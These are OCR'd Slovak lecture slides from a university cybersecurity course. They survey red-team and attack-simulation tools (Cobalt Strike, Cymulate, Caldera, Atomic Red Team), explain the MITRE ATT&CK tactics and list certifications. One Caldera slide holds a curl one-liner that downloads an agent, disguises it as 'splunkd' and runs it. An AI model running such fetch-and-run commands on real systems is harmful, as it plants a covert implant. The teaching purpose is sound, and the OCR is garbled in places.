= Podporuje Beacon Object Files (BOFs), ktoré umoznuju spustat’ vlastné
malé programy napisané v jazyku C

= Cobalt Strike
= Komercny nastroj, ktorého predaj je velmi obmedzeny
= Jeden z najstabilnejsich, ktory je pouzivany realnymi utoCnikmi
= Umoznuje vliastné nastavenia pre beacon-y




Ukazka prostredia Cobalt Strike, ¢o vidi operator. Kompromitované stanice s réoznymi verziami operaénych systémov.

POWERDC @ 3956 ENGINEER @ 1512

——l

/ SYSTEM * SYSTEM *

SYSTEM *

N B
e = FILESERVER @ 2604 -
jim.stevens
WS1 @ 4844

SYSTEM *
DC @ 2300

‘s
»
s
l'...'
s
oy

B
‘ll.
ey
lill.......
LT

SYSTEM *
DEVELOPERWS @ 3100

Jamie.Grins jgrins
DEVELOPERWS @ 5532 ubuntu
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Nastroje pre ofenzivne bezpeénostné testovanie

C2. Breach and Attack Simulation

= Cymulate
= Komercny produkt umoznujuci validaciu hrozieb, simulaciu utoCnych aktivit
a validaciu bezpecnostnych mechanizmov

= Obsahuje zoznam hrozieb, ktory je neustale aktualizovany (oproti open-
source rieseniam, ktoré sa spoliehaju na komunitu)

SafeBreach
= Podobny nastroj ako Cymulate, s mensim pocCtom testovacich scenarov
= Lacnejsie riesenie ako jeho konkurencia

AttacklQ g

XM Cyber
= Caldera
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FULLKILL-CHAIN SCENARIOS ASSESSMENT SUMMARY

Payload Payload Download

01

56

Mshta_634caabl3aecicbd
0120cde8 _640dv9f78...

3/12/2023 07:39:35

STAGE

8.1 Executing Command
2 from C2

8.2 Executing Command
from C2

Executing Command
8.3 from C2

Executing Command
8.4 from C2

Executing Command

8.5 from C2

[1 ] 0.2
3/12/2023 07:39:3

(&3]

DESCRIPTION

CymRansom:

Custom Ransomware

Using WSReset.exe
to Bypass UAC

Stop Service by
Terminating Its

Process

Create a Folder
Using ‘mkdir’
Command

Registry Dump c
SA S etsHTTPS

post request

Executing Payload
Using MSHTA

Payload Download

03 04

B

Mshta_634caabl3aecicbd
0120cde8 _640dv9(78...

Al ~ -y
3/12/2023 07:39:3¢

Mshta_634caabl3aecicbd
0120cde8 _640dv9f78..

3/12/2023 07:39:35

STATUS ACTIONS

-1

Prevented

ATT&CK TAGS

Start Command

3/12/2023 07:39:35

INFORMATION

MORE INFO

MORE INFO

MORE INFO

MORE INFO

MORE INFO

TIMELINE

-ore

@

Payload
MSTHA - Humana — Wizard Spider

Templai‘e Name
Drive-by Compromise

Assessment Date
3/12/2023 07:39:35

Security Control Detection

EVENTS/ALERTS INCIDENT RESPOSNSE

Bases on Integration configured

CORTEX XDR

Palo Alto Networks Cortex XDR

OoC
Cym _323572293013495245
Mshta_634caabl3aeclchd0120cde8_640dvaf78..
353726bdfflfbcdafat8b43697c07798_MSHTA_B...
353726bdffifbcdafa68b43697¢07798 _APT_SCE..




Caldera

Co je Caldera

Ramec pre emulaciu utoénikov a
automatizaciu red-team aktivit

Postavené nad MITRE ATT& CK —
mapovanie TTP

Klient—server model: C2 server +
agenti

Podporuje automatické emulacie,
asistuje red team a pomaha pri
Incident response

PLAN [OBNOVY,

.

A

CALDERA




Caldera

Nasadenie agenta

Deploy an agent

Agent

Sandcat | Caldera's default agent, written in GoLang. Communicates through the HTTP(S) contact by default. Vv

Platform

H [

all windows darwin
app-contact.http http://192.168.0.56:8888 )
agents.implant_ name splunkd 9
agent.extensions 9

A linux sh

Caldera's default agent, written in GoLang. Communicates through the HTTP(S) contact by
default.

server="http://192.168.0.56:8888";
curl -s -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > splur
chmod +x splunkd;

./splunkd -server $server -group red -v

e Financované ’ r e
56 SRR Europsiounios | PLAN [OBNOVY,

Nex ationEU
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Caldera

Operacie

Start New Operation

Operation Name
Adversary No Adversary (manual)
Fact Source basic
Group All groups red

Planner atomic

CRils e base64 base64jumble base64noPadding caesar cipher plain-text

steganography
Autonomous (O Run autonomously @ Require manual approval
Parser (O Use DefaultParser @ Don'tuse default learning parsers
AutoClose (O Keep open forever @ Auto close operation

Run State O Runimmediately @ Pause on start

Jitter (sec/sec)

Financované

Europskou tni PLAN [OBNOVY,




Caldera

Vysledky operacie

training

& CONFIGURATION
settings

fact sources
objectives
contacts

exfilled files
payloads

B RESOURCES

planners
obfuscators

api docs @
(* Log out

- Hide disabled plugins

operations X

Operation Details V¥ Filters

Time Ran
11/13/2025, 8:12:13 PM
GMT+1

11/13/2025, 8:12:48 PM
GMT+1

11/13/2025, 8:13:48 PM
GMT+1

11/13/2025, 8:14:38 PM
GMT+1

11/13/2025, 8:15:18 PM
GMT+1

11/13/2025, 8:16:23 PM
GMT+1

11/13/2025, 8:17:18 PM
GMT+1

11/13/2025, 8:18:08 PM
GMT+1

11/13/2025, 8:18:53 PM
GMT+1

Ability Name

Identify active user

Find local users

Find user processes

Find user processes

Find user processes

Find user processes

Find user processes

Find user processes

Find user processes

PLAN [OBNOVY_

Tactic

discovery

discovery

discovery

discovery

discovery

discovery

discovery

discovery

discovery

C

Agent

uuopow

uuopow

uuopow

uuopow

uuopow

uuopow

uuopow

uuopow

uuopow

Obfuscator:

Host pid

forenzna-analyza-linux-

69287
klient

forenzna-analyza-linux-
klient

forenzna-analyza-linux-
klient

forenzna-analyza-linux-
klient

forenzna-analyza-linux-
klient

forenzna-analyza-linux-
klient

forenzna-analyza-linux-
klient

forenzna-analyza-linux-
klient

forenzna-analyza-linux-
klient

Link Command

View Command

View Command

View Command

View Command

View Command

View Command

View Command

View Command

View Command

Autonomous

Link Output

View Output

View Output

View Output

View Output

View Output

View Output

View Output

View Output

View Output




Caldera O MITRE Caldera

Odkazy

Discord.:

% —server-rules

@ -welcome

]

# Z -caldera-general
# @ -how-do-i
# DO-bug-report

F

b 4

n
1 X-red-team-chat

KOMPETENCNE CENTRUM
KYBERNETICKE) BEZPECNOSTI
FILINSKE) UNIVERZITY ¥ 2ILINE

PLAN [OBNOVY, ‘ 53;
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https://discord.com/invite/mJsTuhZ88T
https://discord.com/invite/mJsTuhZ88T

Nastroje pre ofenzivne bezpec€nostné testovanie

C3. Emulacia TTP

= Atomic Red Team™

= Kniznica malych testov, ktoré umoznuju testovat detekCné mechanizmy
= Open-source rieSenie pravidelne udrziavané komunitou

= Podporované OS: Windows, Linux a macOS

= Existuje PowerShell modul Invoke-AtomicRedTeam




Farebné polozky v matici oznacuju, ze pre danu techniku existuje aspon jeden atomic test

Execution
12 techniques

Persistence
19 technigues

Privilege
Escalation

13 technigues

Credential
Access

15 techniques

Defense Evasion
3% technigues

Discovery
27 techniques

Lateral
Movement

8 technigues

Command and
Scnpting
Interpreter

Container
Administration
Command

Deploy Container

Exploitation for
Client Execution

Inter-Process
Communication

Mative AP

Scheduled
Task/Job

Shared Modules

Software
Deployment Tools

System Services

User Execution

Windows
Management

e -

Account
Mamipulation

BITS Jobs

Boot or Logon
Autostart
Execution

Boot or Logon
Imitialization
Scrpts

Browser
Extensions

Compromise
Client Software
Binary

Create
Account

Create or Modify
System
Process

Event Triggered
Execution

External Remote
Services

Abuse Elevation
Control
Mechanism

Access Token
Manipulation

Boot or Logon
Autostart
Execution

Boot or Logon
Initialization
Scnpts

Create or Modify
System
Process

Domain Policy
Modification -,

Escape to Host

Event Triggered
Execution

Exploitation for
Privilege
Escalation

Hijack Execution

Abuse Elevation Brute Force
Control

Mechanism

Credentials

from Password |l
Access Token Stores
Manipulation

Exploitation for

BITS Jobs Credentizl
Access
Build Image on Host
Forced

Decbfuscate/Decode Authentication
Files or Information
Farge Web

Credentials .,

Deploy Container

Direct Volume Access

Domain Policy

Meodification -, Man-in-the-

S Middle . .,
Execution I —
Guardrails .

Authentication |l
Exploitation for Process

Defense Evasion

File and Directory
Permissions
Modification 05 Credental

Dumping

Hide Artifacts

Account Discovery

Application Window
Discovery

Browser Bookmark
Discovery

Cloud Infrastructure
Discovery

Cloud Service
Dashboard

Cloud Service
Discovery

Container and
Resource Discovery

Domain Trust Discovery

File and Directory
Discovery

Metwork Service

Scanning

Metwork Share
Discovery

Metwork Sniffing

Exploitation of
Remoie
Services

Internal
Spearphishing

Lateral Tool
Transfer

Remote Service
Session
Hijacking

Remote
Senices

Replication
Through
Remaovable
Media

Software
Deployment
Tools

Taint Shared
Content

Use Alternate

Authentication |l
Material
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Uvod do ATT&CK taktik a technik

Enterprise taktiky

= Taktiky predstavuju ,preco" pri technike alebo podtechnike ATT&CK. Ide o
takticky ciel utocnika — dovod, pre ktory vykonava danu aktivitu

= Utoénik mdzZe napriklad sledovat dosiahnutie pristupu k prihlasovacim
udajom

= 14 hlavnych faz utoku




Uvod do ATT&CK taktik a technik
TA0043 — Reconnaissance (Prieskum)

* Prieskum - zbieranie informacii o cieli
= Pasivne i aktivhe metddy
= OSINT - ziskavanie verejnych informacii
= Skenovanie portov
= DNS enumeracia
= Mapovanie:
= Infrastruktury
= Zamestnancov
= Technologii
= Utoénik buduje detailny profil ciela pred vlastnym Gtokom




Uvod do ATT&CK taktik a technik

WHOIS RECORD FOR

cisco.com

Registrant:

Cisco Technology, Inc. (CISCO-DOM)
170 W. Tasman Drive

San Jose, CA 95134

USA

Domain Name: CISCO.COM

™
Threat Actor
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Uvod do ATT&CK taktik a technik

TA0042 — Resource Development (Vyvoj zdrojov)

= Vyvoj zdrojov - Priprava infrastruktury
= Vytvorenie vilastnej infrastruktury (servery, C2)
= Nakup domeén a falosnych uctov

= Nakup pripadne vytvaranie dalsieho malveru a
nastrojov

= VSetky potrebné zdroje su pripravené pred prvotnym
dopadom na ciel
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TA0001 — Initial Access (PocCiatocny pristup)

= Pociatocny pristup - Vstup do siete

= Phishing kampane a socialna manipulacia

= Zneuzitie verejne dostupnych (web) aplikacii

= Kompromitacia pouzivatelskych uctov a zneuzitie zranitelnosti
= Prvy vstup do siete - kriticka faza pre dalSi pokrok utoCnika
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Uvod do ATT&CK taktik a technik

TA0002 — Execution (Vykonanie)

= Po ziskani prvotneého pristupu utoCnik spusta svoj skodlivy
kdd na kompromitovanom systéme

= Vykonanie je faza, v ktorej sa plany utoCnika stavaju
realnymi akciami

= PowerShell skripty, Bash prikazy, vykonavanie binarnych
suborov a injektovanie do legit. procesov

= Spustenie makier v dokumentoch (Word, Excel)

= Utoénik maskuje aktivity pomocou legitimnych néstrojov
(PowerShell, WMI, LSASS)

= Typ vykonavaného kodu je Specificky zacieleny na
dosiahnutie utocnikovych cielov
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TA0003 — Persistence (Perzistencia)

= Po ziskani pristupu a vykonaniu kodu si utoCnik zabezpecuje dlhodobu
kontrolu nad systéemom

= Perzistencia umoznuje utocCnikovi zostat v systéme aj po restarte, zmene
hesiel alebo bezpecCnostnych zaplatach

= Utoénik skryva ,persistence mechanizmy hlboko v systéme (aby boli tazsie
objavitelné pri auditoch)

= Cielom je vytvorit si "zadné vratka" pre pripadnu buducu re-infekciu

= Windows: modifikacia registrov, vytvorenie novych pouzivatelskych uctov
= Linux: cron joby, SSH kfuCe, modifikacie shell profilov
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TA0004 — Privilege Escalation (Eskalacia privilégii)

= VV mnohych pripadoch utoCnik nema administratorské prava pri poCiatoCnom
pristupe

= Kompromitovany ucet je zvyCajne bezny uzivatelsky ucet s obomedzenymi
opravneniami
= Zneuzivanie zranitel'nosti v jadre operacneho systemu (kernel exploity)

= Nespravne konfiguracie suborov a sluzieb (SUID bity v Linuxe, chybne ACL
v OS Windows)

= |Legitimne nastroje ako sudo, UAC bypass techniky alebo Windows Token
Impersonation

= Po uspesnej eskalacii m6ze utocCnik robit operacie vyzadujuce
administratorske prava
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root
Eskalacia privilegii A
Victim
= Vertikalna >
Attacker _=_h=d- derek
A
Sensitive document
= Horizontalna
Victim
> E"Dmar“ » "hannah"
Attacker E
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Uvod do ATT&CK taktik a technik

TA0005 — Defense Evasion (Obchadzanie obrany)

= Obfuskacia kddu — kod sa stava tazsie Citatelny pre analytikov, znizuje sa
sanca ze antivirus zakrocCi

= Vypinanie bezpecCnostnych nastrojov (antivirus, firewall)
= Mazanie a modifikacia log suborov - vymazanie stop svojich aktivit

= |njektovanie kddu do legitimnych procesov (explorer.exe, svchost.exe) a
Living off the land binaries (LOLBIns)

= Aktivity sa javia ako legitimna systémova aktivita - detekcia je ovela
tazsia
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TA0006 — Credential Access (Pristup k prihlasovacim udajom)

= Ziskanie prihlasovacich udajov je jednou z najcennejsich veci pre utocCnika

= Ak ma utocnik platnu kombinaciu uzivatelskeho mena a hesla, m6ze sa
priamo prihlasit bez dalSej exploitacie

= Ziskané udaje su pouzivaneé na lateralny pohyb

= Zaznamenavanie vsetkych stlaceni klavesnice (Keylogging)

= Extrakcia hesiel a hashov z pamate (LSASS procesu, SAM databazy,
Credentials Manager)

= Utok pomocou slovnika a hrubou silou proti slabym heslam, phishing a
extrakcia ulozenych hesiel z prehliadaCov
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3. Attacker steals Fake Twitter Login site

credentials

1. Email with link to fake Twitter login

Attacker
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2. User enters
credentials

Victim
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Sign in to Twitter X

192.168.88.225

Sign in to Twitter

santosomar

(ext message

Activate your account »

Language: English ~
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TA0007 — Discovery (Zistovanie)

= Po ziskani kontroly nad systémom potrebuje utoCnik identifikovat prostredie

= Enumeracia uzivatelov a skupin (prikazy net user anet group)

= |dentifikacia zdielanych zdrojov (net share), mapovanie sietovej topologie
(tracert, route)

= Detekcia bezpecnostnych softverov a firewall pravidiel

= Tieto informacie su kriticke pre uspesny lateralny pohyb a cielenie na cenne
systemy

= O
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TA0008 — Lateral Movement (Lateralny pohyb)

= Lateralny pohyb je proces rozsirovania kontroly z poCiatoCcného systemu na
dalsie servery v sieti

= Cielom je dostat sa k citlivejSim systémom - databazové servery, suborove
servery, doménové radiCe

= Zneuzitie ziskanych prihlasovacich udajov - ak ma utoCnik heslo s
administratorskymi pravami

= Zneuzitie trust vztahov medzi systémami (Kerberos delegation, trust
exploity)

= RDP, PSExec, WMI alebo SMB protokoly na priame vykonavanie prikazov

= Utoénik sa snazi vyhnut detekcii - minimalizuje mnoZstvo logov a maskuje
svoju aktivitu ako legitimnu komunikaciu




Uvod do ATT&CK taktik a technik

Priklad 1 lateralneho pohybu po sieti

System A trusts System B

System A
user = psmith;
Pat Smith System B trusts everyone
b.. .
| have control of System B and .
System B
now have access to System A.
Compromised by
attacker
user = psmith; user = psmith;
Pat Smith Pat Smith

Goal: An attacker wants to gain

access to System A. >

Threat Actor
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Priklad 2 lateralneho pohybu po sieti

Threat Actor

Source: Attacker
Destination: A
: Port: 22

Compromised Host A
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TA0009 — Collection (Zber dat)

= Po ziskani pristupu k viacerym systémom prichadza zber dat - agregacia
citlivych informacii

= Typ zbieranych dat zavisi od motivacie utoCnika: financné udaje, obchodné
tajomstva, osobné udaje

= Zbieranie z rOznych zdrojov - subory na diskoch, e-maily, databazy

= Sietova komunikacia (sniffing)

= Systémove informacie ako konfiguracie, prihlasovacie udaje alebo
bezpecCnostné objekty

= Zbierane data su kategorizované, centralizovane a pripravené na prenos
mimo siete
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TA0011 — Command and Control

= PocCas kampane musi utoCnik komunikovat so svojimi kompromitovanymi
systemami

= Command and Control (C2) infrastruktura je komunikacny kanal medzi
utocnikom a kompromitovanymi systemami

= Utoénik vytvara C2 kanaly, ktoré su Sifrované a skryté - pouziva legitimne
protokoly (HTTPS, DNS)

= C2 infrastruktura je umiestnena na serveroch, ktoré utoCnik kontroluje
(Cloud, poskytovatelia VPS)

= Cez tieto kanaly utoCnik posiela prikazy, prijima odpovede a data, alebo
orchestruje komplexné operacie

= C2 komunikacia sa maskuje ako legitimna prevadzka
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Ako funguje C2 server

Command and
Control (C2)

=

Compromised Server

Connects Tt
to C2. Theel

h
. —
Attacker Compromised

User Endpoint
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TA0010 — Exfiltration (Exfiltracia)

= Exfiltracia je faza, v ktorej utoCnik odvadza ukradnuté data
mimo siete do svojich serverov

= Prave tieto data su finalnym cielom utocCnika - buduce zisky
pochadzaju z ich predaja, vydierania alebo Spionaze

= Pouzitie legitimnych protokolov (HTTPS, FTP, DNS)

= Kompresia a sifrovanie dat - znizenie velkosti a skrytie
obsahu

= Prenos dat v mensich velkostiach = vyhnut sa anomaliam
v Sirke pasma

= Cloudove uloziska (Google Drive, Dropbox, OneDrive)
sluzia na skrytie aktivit
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TA0040 — Impact (Dopad)

= Dopad je posledna a najviditelnejSia faza utoku - moment, ked sa
utoCnikova aktivita stava evidentna

= Tato faza predstavuje dopad na dostupnost, integritu a dovernost systémov
a dat organizacie

= Ransomver - Sifrovanie kritickych dat a vydieranie za ich odsifrovanie
= DoS a DDoS utoky na narusenie dostupnosti online sluzieb
= Destruktivny malver na fyzické zmazanie dat alebo sabotaz infrastruktury

= Modifikacia dat na narusenie integrity alebo ovplyvnovanie fyzickych
systémov (SCADA, ICS)
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[This website is very slow today! ]

I'll send so many pings that the
server can't respond to anyone
else.

Help, | can't accomplish any Internet

work!

Web Server
www.XYZcorp.com

Threat Actor
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{DDOS code activated. ] [DDOS code activated. J

Internet

WWW.QZXBANK.COM Threat Actor
Web Server
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Certfikacie a d’'alSie vzdelavanie v oblasti ofenzivnej bezpecnosti
Certifikacie
= OffSec

= OSCP+ (PEN-200: Penetration Testing with
Kali Linux)

= OSED (EXP-301: Windows User Mode Exploit
Development)

= OSWA (WEB-200: Web Attacks with Kali |
Linux) ” 2
= OSEP (PEN-300: Evasion Techniques and

Breaching Defenses)

= Zero-Point Security
= Certified Red Team Operator (CRTO)
= CRTOII
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Certfikacie a d’'alSie vzdelavanie v oblasti ofenzivnej bezpecnosti
Certifikacie
= Burp Suite

= Burp Suite Certified Practitioner (BSCP)

Burp Suite

= GIAC (SANS) Certified

= GPEN — GIAC Penetration Tester PRACTITIONER
= GRTP - GIAC Red Team Professional

= GWAPT - GIAC Web Application Penetration
Tester

= GX-PT - GIAC Experienced Penetration Tester




Certfikacie a d’alsie vzdelavanie v oblasti ofenzivnej bezpecnosti

Kurz / Certifikacia Priblizna cena (EUR)

OSCP+/OSED/OSEP ~1 560 € (OSCP+ cena $1 699)

Burp Suite Certified

Practitioner (BSCP) ~90 € (skuska $99)
GIAC GPEN / GRTP / ~930 € (zakladna cena za skusku)
GWAPT ~6 400 — 8 000€ (cely kurz + skuska)




Certfikacie a d’alsie vzdelavanie v oblasti ofenzivnej bezpecnosti

Dalsie vzdelavanie

= HTB Academy

= Kurzy sa platia tzv. Cubes (tie si viete dokupit alebo
ich ziskat' v CTF)

= Pokryva r6zne oblasti, Ci uz Penetracného
testovania alebo Red Teamingu

= PortSwigger Academy
= Zadarmo, pokryva web applikacie HACKTHEBOX

= Od zaCiatoCnikov az po profesionalov



https://academy.hackthebox.com/
https://academy.hackthebox.com/
https://portswigger.net/web-security
https://portswigger.net/web-security
https://portswigger.net/web-security
https://portswigger.net/web-security

Certfikacie a d’alsie vzdelavanie v oblasti ofenzivnej bezpecnosti

Dalsie vzdelavanie

= Cisco Ethical Hacker Ethical Hacker
= Kurz vhodny pre uplnych zaciatoCnikov Al

cisco

= HackTricks Verified =

= Game of Active Directory (GOAD)

= Lab pre testovanie Active Directory zranitelnosti a
miskonfiguracii

H HackTricks

PLAN [OBNOVY_



https://book.hacktricks.wiki/en/index.html
https://book.hacktricks.wiki/en/index.html
https://github.com/Orange-Cyberdefense/GOAD
https://github.com/Orange-Cyberdefense/GOAD
https://github.com/Orange-Cyberdefense/GOAD
https://github.com/Orange-Cyberdefense/GOAD
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Odkaz na Security Certification Roadmap



https://pauljerimy.com/security-certification-roadmap/
https://pauljerimy.com/security-certification-roadmap/
https://pauljerimy.com/security-certification-roadmap/
https://pauljerimy.com/security-certification-roadmap/
https://pauljerimy.com/security-certification-roadmap/
https://pauljerimy.com/security-certification-roadmap/
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Dakujem za pozornost’

Bezpelnostné testovanie a ofenzivne zrucnosti

Zvysovanie povedomia o KB a testovanie bezpecnosti (Blok VIII)

Kurz: Specialista kybernetickej bezpeénosti vo verejnej sprave
Mgr. Jana Uramova, PhD.
KC KYB UNIZA, https://kc.uniza.sk/

Jana.Uramova@fri.uniza.sk
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